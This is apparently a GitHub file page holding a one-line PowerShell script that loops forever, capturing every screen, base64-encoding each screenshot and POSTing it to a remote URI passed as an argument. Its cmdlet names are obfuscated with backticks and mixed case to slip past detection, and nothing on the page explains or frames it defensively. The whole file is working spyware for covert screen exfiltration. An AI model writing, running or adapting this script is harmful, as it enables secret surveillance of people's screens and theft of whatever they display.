-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathsource
1 lines (1 loc) · 1.22 KB
/
source
1
[Reflection.Assembly]::LoadWithPartialName("System.Drawing");[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing");[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms");$path=$Env:USERPROFILE+"\ss.png";$uri=$args[0];function screenshot($path){$width = 0;$height = 0;$workingAreaX = 0;$workingAreaY = 0;$screen = [System.Windows.Forms.Screen]::AllScreens;foreach ($item in $screen){if($workingAreaX -gt $item.WorkingArea.X){ $workingAreaX = $item.WorkingArea.X; } if($workingAreaY -gt $item.WorkingArea.Y) { $workingAreaY = $item.WorkingArea.Y; } $width = $width + $item.Bounds.Width;if($item.Bounds.Height -gt $height) { $height = $item.Bounds.Height; } } $bounds = [Drawing.Rectangle]::FromLTRB($workingAreaX, $workingAreaY, $width, $height);$bmp = n`eW-ObJ`ECt Drawing.Bitmap $width, $height;$graphics = [Drawing.Graphics]::FromImage($bmp); $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size); $bmp.Save($path);$graphics.Dispose(); $bmp.Dispose();$base64file=[Convert]::ToBase64String([IO.File]::ReadAllBytes($path));$postparams="ss=$base64file"; iN`VOke-`RESTME`ThOd -Uri $uri -Method Post -Body $postparams; }$i=0;While ($i -lt 1) {sc`Re`enShot($path);sl`eeP $args[1];}